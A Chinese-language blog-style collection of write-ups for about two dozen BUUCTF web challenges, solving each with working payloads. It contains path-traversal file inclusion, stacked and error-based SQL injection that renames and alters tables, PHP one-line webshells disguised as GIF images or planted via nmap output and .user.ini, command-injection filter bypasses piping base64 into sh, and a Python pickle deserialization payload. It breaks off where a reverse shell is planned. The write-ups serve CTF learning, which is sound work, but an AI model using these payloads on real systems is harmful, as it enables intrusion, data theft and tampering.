目录

Web部分

1.[HCTF 2018]WarmUp

  进入页面后是一个大大的滑稽,查看源代码,提示了一个source.php,打开发现是php代码审计。代码如下

     <?php
        highlight_file(__FILE__);
        class emmm
        {
            public static function checkFile(&$page)
            {
                $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
                if (! isset($page) || !is_string($page)) {
                    echo "you can't see it";
                    return false;
                }

                if (in_array($page, $whitelist)) {
                    return true;
                }

                $_page = mb_substr(
                    $page,
                    0,
                    mb_strpos($page . '?', '?')
                );
                if (in_array($_page, $whitelist)) {
                    return true;
                }

                $_page = urldecode($page);
                $_page = mb_substr(
                    $_page,
                    0,
                    mb_strpos($_page . '?', '?')
                );
                if (in_array($_page, $whitelist)) {
                    return true;
                }
                echo "you can't see it";
                return false;
            }
        }

        if (! empty($_REQUEST['file'])
            && is_string($_REQUEST['file'])
            && emmm::checkFile($_REQUEST['file'])
        ) {
            include $_REQUEST['file'];
            exit;
        } else {
            echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
        }  
    ?>

阅读上面代码可知可以request方式传递一个file参数,并且这个file参数需要携带whilelist数组中的hint.php或者是source.php并且用了substr函数进行截取判断也就是如果传入的file中带有?那么?前面的内容必须带有hint.php或者是source.php。到这里先停一下,这个页面是source.php,我们看一下hint.php的内容,有了提示:flag not here, and flag in ffffllllaaaagggg。也就是flag是在ffffllllaaaagggg下面。对于这个应该是个目录,那么这个目录又在哪个目录下呢,这里的源代码中直接把用户可控参数file给include了,也就是文件包含漏洞,那么可以访问到任意目录,构造

payload:?file=hint.php?/../../../../../ffffllllaaaagggg

最后拿下flag.
这里采用/../进行目录穿越,../可以回到上一个目录,正好?截取掉前面的内容满足条件,可以include进来,就去到了flag目录下。

2.随便注入

在输入一些关键字后提示:return preg_match(“/select|update|delete|drop|insert|where|./i”,$inject);这里在关键词中间添加/**/注释符进行绕过,实测用**就够了

    un**ion se**lect 1,group_concat(table_name) fr**om information_schema.tables
    whe**re database()="hahahah"#

和显然,上面这一句过滤规则不管我怎么绕过,都不能产生出这些关键字,也就是完全不能用了。
补充一下,读表的语句是1’;show columns from 1919810931114514; # 博主用的markdown自动把符号转码了。对以数字为表名的表进行操作时,需要加上“符号

3.Online Tool

    <?php

    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
    }

    if(!isset($_GET['host'])) {
        highlight_file(__FILE__);
    } else {
        $host = $_GET['host'];
        $host = escapeshellarg($host);
        $host = escapeshellcmd($host);
        $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
        echo 'you are in sandbox '.$sandbox;
        @mkdir($sandbox);
        chdir($sandbox);
        echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
    }

  进入页面后直接是代码审计,这道题标签是PHP和RCE,也就是要构造RCE,第一个判断条件是设置了XXF的话,就把XXF的值赋给$_SERVER[‘REMOTE_ADDR’]。接下来是没有设置get传递Host的话,就显示出本文代码,下面是设置了get的host话,就进行两次防范与过滤处理,接下来先重点了解一下这两个函数:
escapeshellarg以及escapeshellcmd,在这里我们先不用百度,我们在本地测试它究竟做了些什么。测试代码:

    $host = $_GET['host'];
        echo $host."<br>";
        $host = escapeshellarg($host);
        echo $host."<br>";
        $host = escapeshellcmd($host);
        echo $host."<br>";

  首先在没有输入host的情况下,屏幕输出了””以及^”^”,可以看到arg应当是做了加双引号处理,而cmd又在双引号前面加上了^处理。现在我们输出host=1.同上面没有输入的时候,过滤机制一样,接下来我们在测试语句下面加上system($host);这样我们用phpinfo函数来测试,试图绕过其过滤机制,最后被两次处理的phpinfo()变成了->^”phpinfo^(^)^”,我们加上’来试试能否闭合”,当我们在phpinfo()后面再加上双引号后,又多了很多^符号,这说明escapeshellcmd命令可以用来处理引号,无论单引号还是双引号都加上^符号来过滤。尝试了很多次发现有问题,我们回到原题,原题的system中是采用的””.$host故这里我们改写system的内容,也这样写,然后再尝试绕过。这里尝试后发现前面引号是单独闭合的,故只输出来看清楚过滤规则,如下所示:

    $host = $_GET['host'];
        echo $host."<br>";
        $host = escapeshellarg($host);
        echo $host."<br>";
        $host = escapeshellcmd($host);
        echo $host."<br>";
        system($host);
        echo "\"1\"$host";

  在疑惑为什么转义是^,然后^怎么绕时,最后询问了笑师傅,最后才知道这两个函数在Linux下转义才是\而在windows下是^.我就说。。这让我怎么绕嘛。于是去Centos下试试。
在Centos下我发现了一个有趣的东西,那就是\在命令行中几乎不起作用,也就是说这道题我们闭合了’后,其余转义的\根本就不需要管了,我们的RCE依旧在LINUX下可以执行,故构造payload写入一句话木马:

    '<?php eval($_POST["a"]);?> -oG 1.php '

  这里还利用了nmap的 -oG选项,可以实现将命令和结果写到文件,这样就把一句话木马写到1.php下了,由于mkdir函数我们还知道了文件存放的目录,故接着用菜刀连接我们上传的一句话文件就可以了。
注意猜到连接时地址填写格式:http:网站域名/mkdir()产生目录/1.php 这样就可以成功连接上了,然后在根目录下就拿到了flag.

  这里也可以看出上传漏洞是很难利用的,因为最重要的得知道上传后的文件存放路径,这道题是告诉了的,但其他安全的网站肯定会藏到你根本找不到的地方,并且现在最新的技术,可以创造反向服务器,也就是在真正的服务器前给出虚拟服务器,存放的路径也都是虚拟的,因而很难实现上传漏洞。当然这只是理论上的,总有大佬很easy的解决这个过渡问题。

4.[ZJCTF2019]NiZhuanSiWei

     <?php  
    $text = $_GET["text"];
    $file = $_GET["file"];
    $password = $_GET["password"];
    if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
        echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
        if(preg_match("/flag/",$file)){
            echo "Not now!";
            exit(); 
        }else{
            include($file);  //useless.php
            $password = unserialize($password);
            echo $password;
        }
    }
    else{
        highlight_file(__FILE__);
    }
    ?> 

进入页面后发现是代码审计题,从file_get_contents函数可以看出text应该为某种协议,传递参数welcome to the zjctf,尝试使用php://input协议,然后post这个参数,接下来是文件包含,提示了useless.php于是可以尝试用filter协议读取这个php文件。然后是会把反序列化之后的password输出出来,这里,有点不懂这个意思,应该是构建什么序列化的对象,这个password猜测会是flag,先试试前两个条件。构造

    ?text=php://input&file=php://filter/read=convert.base64-encode/resource=useless.php

后发现一串base64编码,解码发现以下代码:

    <?php  

    class Flag{  //flag.php  
        public $file;  
        public function __tostring(){  
            if(isset($this->file)){  
                echo file_get_contents($this->file); 
                echo "<br>";
            return ("U R SO CLOSE !///COME ON PLZ");
            }  
        }  
    }  
    ?> 

从上可以看出,将其序列化传给password,即可执行魔术方法_tostring(),
最后的payload(并且post:welcome to the zjctf):

    ?text=data://text/?php://input&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} 

在其他人的WP看到了第一个使用data伪协议的text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=然后传输直接在url上通过base64绕过,我采用的是input方式,用post的方式也可以,最后都拿到了flag,然后查看源码,注释中就有flag.

5.Easy Calc

进入页面后是个计算器,输入计算式就可以计算想要的结果,第一反应试试了1+2哈哈结果3,好了直接看源码发现以下提示:

<!--I've set up WAF to ensure security.-->
    <script>
        $('#calc').submit(function(){
            $.ajax({
                url:"calc.php?num="+encodeURIComponent($("#content").val()),
                type:'GET',
                success:function(data){
                    $("#result").html(`<div class="alert alert-success">
                <strong>答案:</strong>${data}
                </div>`);
                },
                error:function(){
                    alert("这啥?算不来!");
                }
            })
            return false;
        })
    </script>

第一反应我试了下XSS,但是很明显肯定是这啥算不来,故行不通,上面仔细看有一个calc.php,打开发现以下源代码:

    <?php
    error_reporting(0);
    if(!isset($_GET['num'])){
        show_source(__FILE__);
    }else{
            $str = $_GET['num'];
            $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
            foreach ($blacklist as $blackitem) {
                    if (preg_match('/' . $blackitem . '/m', $str)) {
                            die("what are you want to do?");
                    }
            }
            eval('echo '.$str.';');
    }
    ?> 

从上面可以看出过滤了一些/之类的,应该是防止直接读取文件,这里看一下怎么利用,eval这一个很关键,可以把str打印出来,也就是用num可以传输出flag.首先要知道flag在哪个文件下,才好读取,试试scandir(‘/‘)这里斜杠用不了,那么里面是不是可以用个函数代表/这里用chr函数,可以把ASCII值转换为对应的字符,chr有个相反的函数,可以先查出/的ascii值。
ord()获得字符串的第一个字符的ASCII值
chr()将ASCII值转换为其字符
chr(47)即为/,所以构造?num=scandir(‘chr(47)’)
页面显示forbidden,应该是被墙了,联系之前的注释
这儿应当过滤了传入的num参数,在查看其他博文时发现一个骚操作,传递参数?%20num即可绕过这个WAF,
那么传入?%20num=scandir(‘chr(47)’)
结果出现what are you want to do?,可能是这个引号出问题了,去掉重新试试。对了这里是echo出来的,害的加个var_dump,发现f1agg文件,接下来用file_get_contents读取。同样 ?num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))).这里转换的即/f1agg,拿到flag.接下来研究哈为什么传递空格num就可以绕过这个WAF。

这里知道了一个php解析url的规则,如果传入的变量有空格,会去掉前面的空格再解析,通过这个特性即可绕过waf,这个waf只管num它管不着空格num,然而当其解析为php文件时又把num前面的空格去掉,因而又成功的达到代码要求。因而绕过。

6.强网杯(随便注)

进入页面后在姿势表单中输入’后报错,说明存在sql注入,在尝试输入union select后,发现主要的查询语句都被过滤掉,这里尝试一下大小写或者双写是否能绕过。仍然爆出这个

    return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

说明无法绕过,至少我现能力无法绕过,尝试其他查询方法,
先用order by 知道了字段数目为2,到3就报错了。
这里既然过滤了常规查询,尝试堆叠注入,因为堆叠注入无需使用常规查询语句,
堆叠注入原理:在sql语句中分号(;)用来表示一条sql语句的结束。因而我们可以假想,在一个sql语句结束后加上;再写一条sql语句,是不是两条语句都会被执行,因而这就成就了堆叠注入,其实它和union的原理很接近。但两者又不相同。union后门的语句类型有限,用来执行查询语句还可以,而堆叠注入的后门构造一句可以书写任何的sql语句。比喻我第一句是查询,堆叠后一句甚至可以删除,而Union两者必须保持一致。
当然在看了一些文章后,也了解到堆叠注入的局限性,它可能收到API或者数据库引擎不支持的限制,权限不足也有可能导致一些攻击的失败。在读取数据时候,union是好的,如果可以使用union情况下,尽量使用union查询。

接下来尝试一下这道题构造payload:0’;show databases;#
这样查询到数据库为ctftraing以及supersqli.猜测在这两个数据库中,接下来查询表名
payload:0’;show tables;#
发现words,1919810931114514表
接下来查看字段名:
payload:0’;show columns from words;#
payload:0’;show columns from ‘1919810931114514’;#
这里上面数字的查询失败了,网上查询后都说需要使用反引号即(`)
Mysql中用一对反引号来标注sql语句中的标识,如数据库名,表名,字段名等
引号则用来标注语句中所引用的字符型常量或日期/时间型常量,即字段值
例如:

    slect * from `username` where `name`='period'

这里查到19198表里面存在flag字段。接下来需要尝试查询字段内容
最后使用:

    payload:1';use supersqli;set @sql=concat('s','elect `flag` from `1919810931114514`');PREPARE stmt1 FROM @sql;EXECUTE stmt1;--+

PREPARE:准备一条sql语句,并分配给这条sql语句一个名字供之后调用
EXECUTE:执行命令
用法:

    PREPARE stmt_name FROM prparable_stmt
    EXECUTE stmt_name
    {DEALLOCATE | DROP} PREPARE stmt_name

当然这里这个方法已经是最简单的,还看到其他大佬的骚操作:
既然没过滤 alert 和 rename,那就可以把表和列改名。先把 words 改为 words1,再把数字表改为 words,然后把新的 words 表里的 flag 列改为 id ,这样就可以直接查询 flag 了
构造 payload 如下

    /?inject=1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;%23

在更改了一系列名字后,使用1’ or ‘1’=’1即可获得flag.

7.[护网杯 2018]easy_tornado

打开几个提示
/flag.txt
flag in /fllllllllllllag
/hints.txt
md5(cookie_secret+md5(filename))
/welcome.txt
render
因此要想构造出flag的md5必须得知道cookie_secret的部分
通过查阅文档发现cookie_secret在Application对象settings属性中,还发现self.application.settings有一个别名
RequestHandler.settings
An alias for self.application.settings.
handler指向的处理当前这个页面的RequestHandler对象,
RequestHandler.settings指向self.application.settings,
因此handler.settings指向RequestHandler.application.settings。

构造payload获取cookie_secret

/error?msg={{handler.settings}}
然后得到:

    {'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '51402c11-770e-41fb-866e-e7cfe13af08b'} 

最后在url中?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(filename))
即可得到flag

8.[CISCN2019 华北赛区 Day1 Web2]ikun

这道题是还很多的文章帮助下完成的,贴一个文章即可:
https://www.cnblogs.com/chrysanthemum/p/11786132.html
进入页面后是全篇的kunkun应援团,这里封面有个关键得一点,ikun们冲鸭,一定要买到lv6!!!
在注册了用户后,发现自己有1000块钱可以用来买lv.但是往下面翻了翻,只有lv4,lv5翻很多页都没有lv6,于是需要上脚本找一哈lv6在哪一页。

    import requests
    i=0
    url="http://1264639c-ef88-49b4-8bea-90da6726f207.node3.buuoj.cn/"
    for i in range(1,2000):
        re=requests.get(url+"shop?page="+str(i))
        if re.text.find("lv6.png") !=-1:
            print(i)
            break

这里先自己写了一个然后跟着赵师傅改了一下,这里说一下find里面的lv6.png是审查页面元素时候发现的,这个也是之前学爬虫学到的知识点。然后根据脚本找到page=180页过去,发现买不上,再次f12发现在from表单中存在折扣项,我把它value改成0.0000001这样就足够买上lv6了终于到lv6了结果提示需要admin才行。
抓包后发现jwt
jwt:json web token也就是一种认证用户的令牌,保存在客户端,cookie中,
https://jwt.io/发现是HS256对称加密的,用推荐的[c-jwt-cracker](https://github.com/brendan-rius/c-jwt-cracker)爆破密钥,跑出来密钥是1Kun.然后将密钥与username部分更改为1Kun和admin
然后将生成的jwt与之前的替换,发包,发现已经成为了admin,然后又有新提示,

    <div class="ui text container login-wrap-inf">
    <!-- 潜伏敌后已久,只能帮到这了 -->
    <a href="/static/asd1f654e683wq/www.zip" ><span style="visibility:hidden">删库跑路前我留了好东西在这里</span></a>
    <div class="ui segments center padddd">
    <!-- 对抗*站黑科技,目前为测试阶段,只对管理员开放 -->
    <div class="ui segment">
    <img src="/static/img/b.png" alt=""/>

访问这个www.zip发现源码,审计源代码sshop/views/Admin.py 有个反序列化点。
然后使用师傅给的脚本生成

    import pickle
    import urllib

    class payload(object):
        def __reduce__(self):
           return (eval, ("open('/flag.txt','r').read()",))

    a = pickle.dumps(payload())
    a = urllib.quote(a)
    print a

become参数生成后,用BP发包即可拿到flag.
接下来强化学习这道题的知识点。
JWT:

pickle:pickle是python中用于序列化的模块,其主要用于python特有类型和python的数据类型间转换。
pickle提供四个功能:dumps,dump,loads,load
同样还有一个模块json也提供了同样的,但json主要用于字符串和python数据类型间进行转换。
pickle模块中常用的方法有:
1.pickle.dump(obj,file,protocol=None)

  1. pickle.load(file,*,fix_imports=True, encoding=”ASCII”, errors=”strict”)
    必填参数file必须以二进制可读模式打开,即“rb”,其他都为可选参数
  2. pickle.dumps(obj):以字节对象形式返回封装的对象,不需要写入文件中
  3. pickle.loads(bytes_object): 从字节对象中读取被封装的对象,并返回

9.[BJDCTF2020]EzPHP

首先打开页面,老规矩直接看源代码,发现提示:GFXEIM3YFZYGQ4A=
尝试进行base64解码结果是乱码,继续尝试base32解码,发现:1nD3x.php
打开后发现源码:

     <?php
    highlight_file(__FILE__);
    error_reporting(0); 

    $file = "1nD3x.php";
    $shana = $_GET['shana'];
    $passwd = $_GET['passwd'];
    $arg = '';
    $code = '';

    echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

    if($_SERVER) { 
        if (
            preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
            )  
            die('You seem to want to do something bad?'); 
    }

    if (!preg_match('/http|https/i', $_GET['file'])) {
        if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
            $file = $_GET["file"]; 
            echo "Neeeeee! Good Job!<br>";
        } 
    } else die('fxck you! What do you want to do ?!');

    if($_REQUEST) { 
        foreach($_REQUEST as $value) { 
            if(preg_match('/[a-zA-Z]/i', $value))  
                die('fxck you! I hate English!'); 
        } 
    } 

    if (file_get_contents($file) !== 'debu_debu_aqua')
        die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


    if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
        extract($_GET["flag"]);
        echo "Very good! you know my password. But what is flag?<br>";
    } else{
        die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
    }

    if(preg_match('/^[a-z0-9]*$/isD', $code) || 
    preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
        die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
    } else { 
        include "flag.php";
        $code('', $arg); 
    } ?>
    This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
    Aqua is the cutest five-year-old child in the world! Isn't it ?

10.RCTF2015

进入页面后,发现有登陆和注册两个链接的,注册的时候注册一个cupid,看会不会出错,居然可以注册有特殊符号的,进去后,发现有忘记密码功能,试试能否正常忘记密码。尝试修改密码发现:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"cupid\" and pwd='202cb962ac59075b964b07152d234b70'' at line 1

发现出现了sql报错,这就是典型的二次注入的例子了,简单说一下我对自己二次注入的理解,在注册非法账号时,系统对其进行了过滤或者不处理,并且送入数据库时候以注册输入的字符一样存储,导致,修改密码时候,修改密码时服务器查询数据库导致报错,利用这一点可以进行二次注入。同样做sql注入时候可以用BP或者其他工具进行简单的sql-fuzz测试。

union
where
from
and
extractvalue
以及BP中的sql-fuzz

fuzz直接使用注册功能爆破即可,如果能够成功注册那么就很大几率能够进行二次注入,通过BP爆破发现:union,order by等进行联合查询所必须的被ban了,因而直接尝试使用updatexml或者extractvalue进行报错注入。
首先注册账号

    username=cupid"^updatexml(1,concat(0x7e,(database()),0x7e),1)#&password=123&email=123

爆出数据库名为

XPATH syntax error: '~web_sqli~'

继续注册账号

    username=cupid"^updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1)#&password=123&email=123

爆出表名

    XPATH syntax error: '~article,flag,users~'

解析来爆字段

    username=cupid"^updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema=database())),0x7e),1)#&password=123&email=123

爆出所有字段

    XPATH syntax error: '~title,content,flag,name,pwd,ema'

解析来爆字段内容
这道题最过分的是,flag不在flag字段里面,真的要让人吐血,还是写脚本靠谱,奈何太菜了写不动,继续试试其他的字段
猜测应当是users中的pwd

    username=cupid"^updatexml(1,concat(0x7e,(select(pwd)from(users)),0x7e),1)#&password=123&email=123

然后发现Subquery returns more than 1 row
存在长度限制列数限制,重新查一遍users表中的列名

    username=cupid"^updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),0x7e),1)#&password=123&email=123
爆破出:XPATH syntax error: '~name,pwd,email,real_flag_1s_her'

这里感觉长度受限制了,这个字段应该后门是here,没出来,查询real_flag_1s_her字段内容果然没有,加上e继续查询
看样子flag在这个字段里面,直接查字段内容:

    username=cupid"^updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)),0x7e),1)#&password=123&email=123

发现XPATH syntax error: ‘~xxx,xxx,xxx,xxx,xxx,xxx,xxx,xxx’
果然长度受限看不到结果,能力有限最终没能拿到flag.于是打开了大佬的WP,发现substr也被ban了,看了wp发现可以用正则

username=cupid"^updatexml(1,concat((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1)#&password=123&email=123

总算查询到了一半flag:XPATH syntax error: ‘{925c3daa-870a-4b04-8c3f-4fb0c1a’
其实我要骂人的,fuck!
然后据说使用reverse即可查到全部flag

    username=peri0d"||(updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('f'))),1))#&password=123&email=123

最后拿到:XPATH syntax error: ‘}9bb3ca1c0bf4-f3c8-40b4-a078-aad’
拼接一下就可以了。
这题学到了很多骚知识,比如最后那个reverse是真的,没有想到,以及在查询长度受限制情况下应当怎么样思考,get it.

11.[De1CTF 2019]SSRF Me

12.[ACTF2020 新生赛]Upload

同样是黑名单过滤不全,phtml文件可以直接上传,其他的文件内容:

GIF89a
<script language="php">@eval($_POST['666']);</script>

上传后在根目录下的flag目录中取得flag

13.[ACTF2020 新生赛]Exec

进入页面后跟DVWA那个ping差不多,猜测代码应该就是个exec函数,尝试用
127.0.0.1&&cat /flag
无果,既然是exec函数,用法应当是用;号进行连接语句
再次尝试:
127.0.0.1;cat /flag
拿到flag

14.[ACTF2020 新生赛]BackupFile

进去后让我找找源代码,以前做过一个备份题,试试index.php.bak,果然成功下载到源码:

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}

很简单的若类型比较构造?key=123即可拿到flag.

15.[GXYCTF2019]Ping Ping Ping

进入页面后显示/?ip=
意思就是get传入可执行命令拿到flag.
这里尝试ip=127.0.0.1&&ls,ls好像没有执行,换一个

    ip=127.0.0.1&&ls
    ip=127.0.0.1;ls
    ip=127.0.0.1||ls

结果只有或成功了,就是上面第三个,然后发现了flag.php与index.php
接下来尝试127.0.0.1||cat flag.php
然后是:/?ip= fxck your space!
那就是空格被过滤了,试试Url中的+,%0a等等,也被过滤了。
百度了一下发现linux下空格过滤有:
< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS、
<>看样子被过滤了,%20也过滤了,
后门三个没被过滤:$IFS$9、 ${IFS}、$IFS
这下是fxck your flag,看样子直接书写flag也是不行的
绕过flag方法就多了有:base64,hex,oct,单引号双引号,反斜杠,拼接
我们一个一个试试:
下面所有的空格用:$IFS
先试试base64
?ip=127.0.0.1||echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|bash ==>cat /flag
这个可能是哪个被过滤了,试试将bash改为sh
下面这个即可拿到flag,但是还要尝试下其他方法
?ip=127.0.0.1||echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
一直手动测试过滤规则不是办法,之前还有个index.php尝试读取:
?ip=127.0.0.1||cat$IFSindex.php
没有读取到。。怀疑是这个空格和后门都是英文字母混淆了,换成$IFS$9代替空格,查到源码如下

/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "

";
  print_r($a);
}

?>

有了源码就好办了,
使用如下任意payload即可拿到flag

?ip=127.0.0.1||echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh  //编码的base64方法
?ip=127.0.0.1||a=g;cat$IFS$1fla$a.php  //拼接方法

16.[HCTF 2018]admin

首先先尝试注册非法账号cupid,但是修改密码没有报错,猜测这里不是二次注入,从名字来看应该要得到admin用户才可以拿到flag,打开源码看到you are not admin.果然,回顾刚刚改密码自己应该每一个步骤都需要看一下源码,因为从其他人WP知道了改密码页面有提示。
于是我回到改密码页面,打开源代码发现:
https://github.com/woadsl1234/hctf_flask/
与是去下载到源码:

注册用户ᴀdmin,这里是A是unicode编码的A,因而看起来是小的,注册后修改密码即可,再登陆即可拿到flag.然而根据大佬的博客复现才发现,UnicodeError,导致这种方法不可用。

17.BUU CODE REVIEW 1

进入页面是源码审计

     <?php
/**
 * Created by PhpStorm.
 * User: jinzhao
 * Date: 2019/10/6
 * Time: 8:04 PM
 */

highlight_file(__FILE__);

class BUU {
   public $correct = "";
   public $input = "";

   public function __destruct() {
       try {
           $this->correct = base64_encode(uniqid());
           if($this->correct === $this->input) {
               echo file_get_contents("/flag");
           }
       } catch (Exception $e) {
       }
   }
}

if($_GET['pleaseget'] === '1') {
    if($_POST['pleasepost'] === '2') {
        if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
            unserialize($_POST['obj']);
        }
    }
}

先看下面的部分,这个md5很好绕,直接传入数组即可绕过,然后需要传入序列化的obj满足上面的条件使得魔术方法_destruct在对象销毁时候触发,即反序列化,那么只需要序列化一个满足这个类中判断的语句即可。
上网看到了一个满足他们相等的很好的办法,直接让
$a=new BUU();
$a->input=&$a->correct;
类似于C语言中的赋指针,即可满足条件那么接下来将其序列化即可,写以下php:

<?php
class BUU {
   public $correct = "";
   public $input = "";

   public function __destruct() {
       try {
           $this->correct = base64_encode(uniqid());
           if($this->correct === $this->input) {
               echo file_get_contents("/flag");
           }
       } catch (Exception $e) {
       }
   }
}
$a=new BUU();
$a->input=&$a->correct;
echo serialize($a);    //得到O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
    ?>

md5部分用下面或者数组绕过即可:
md51=QNKCDZO&md52=240610708
最后按条件传值即可拿到flag.

18.[GYCTF2020]Blacklist

return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
73656c6563742a66726f6d60776f72647360  hex编码->select * from `words`

本来准备全部使用强网杯随便注的payload,结果set 和rename被禁了,因而使用如下:

    1';
HANDLER FlagHere OPEN;
HANDLER FlagHere READ FIRST;
HANDLER FlagHere CLOSE;#

19.[SUctf]Checkin

进入页面后是一个简单的上传页面,看样子是考上传漏洞,先试试上传之前的yijuhua.phtml,内容为:

GIF89a
<script language="php">@eval($_POST['666']);</script>

抓包后上传,很明显不管怎么上传都绕不过后缀,也就是很有可能是白名单策略,只准image类文件,之前有学到图片一句话木马,那就先上传yijuhua.jpg吧

Your dir uploads/d57583a334819a28038b398dd11b00cf <br>Your files : <br>array(4) {
  [0]=>
  string(1) "."
  [1]=>
  string(2) ".."
  [2]=>
  string(9) "index.php"
  [3]=>
  string(11) "yijuhua.jpg"
}

感觉可以利用,只要让yijuhu.jpg的内容进到index.php里面就可以连接。这里看大佬都提到了.htaccess文件的利用。这道题不行但是后面还是要去了解一哈这种方式。这里说一下.user.ini文件:”自PHP5.3.0”起。php支持基于每个目录的.htaccess风格的INI文件,此类文件仅被CGI/FastCGI SAPI处理,因而使得PECL的htscanner扩展作废。如果使用Apache,则用.htaccess文件有同样效果,。“
也就是说这个文件类似于.htaccess,但是作用范围比它广泛。(摘from -cl4y师傅的博客)。
然后主要研究一哈这个文章:https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html
于是再上传

GIF89a

auto_prepend_file=shell.jpg

就达到了目的,然后用蚁剑连接该目录下的index.php然后连上后,就找到了flag.

20.

<script>
        var stats_data = {"account_id": 1, "id": 1, "name": "admin", "type": "user"};
    </script>

21.[BJDCTF2020]The mystery of ip

进入页面后是一个比较炫酷的blog界面,当然了flag页面赫然在列,点进去后直接提示了我的IP是。。。。。
那我试试X-F-F可不可以显示其他IP,BP抓包后改为127.0.0.1,结果就显示我的IP是127.0.0.1
给什么就显示什么,存在XSS,或者SSTI,前段时间才学了这个SSTI,先来检测哈
X-Forwarded-For:4
结果页面显示4,哇
很明显存在SSTI了,好了直接SSTI执行
X-Forwarded-For:system(‘cat /flag’)
<>

22.[V&N2020 公开赛]CHECKIN

进入页面后是一堆python代码,ctrl+u就能看到其正确格式代码:

from flask import Flask, request
import os
app = Flask(__name__)

flag_file = open("flag.txt", "r")
# flag = flag_file.read()
# flag_file.close()
#
# @app.route('/flag')
# def flag():
#     return flag
## want flag? naive!

# You will never find the thing you want:) I think
@app.route('/shell')
def shell():
    os.system("rm -f flag.txt")
    exec_cmd = request.args.get('c')
    os.system(exec_cmd)
    return "1"

@app.route('/')
def source():
    return open("app.py","r").read()

if __name__ == "__main__":
    app.run(host='0.0.0.0')

先审计一波代码,很明显用的flask,然后先打开了flag.txt,注释里面有读取和关闭,但是实际是没有的,因而不看注释部分,首先是路由是在shell下,进入shell函数,在shell路径下,以get方式传入了参数c,并且将其当命令执行了。当然在这之上有个删除flag.txt.我们知道这里是永久删除,那岂不是就看不到flag了。之前我们看了一篇关于删库跑路的,我在很多评论和一些大佬的说笑中,听到了一种很有趣的恢复方法。这里正好符合,那就是在rm -f时,没有关闭文件,这时候其实文件依然在进程中。然后我们查看进程,就可以看到被删除的文件。
好了思路很清晰,那么第一步需要连接上shell,也就是反弹回来,因为是python写的,直接尝试用python的shell反弹,shell如下所示

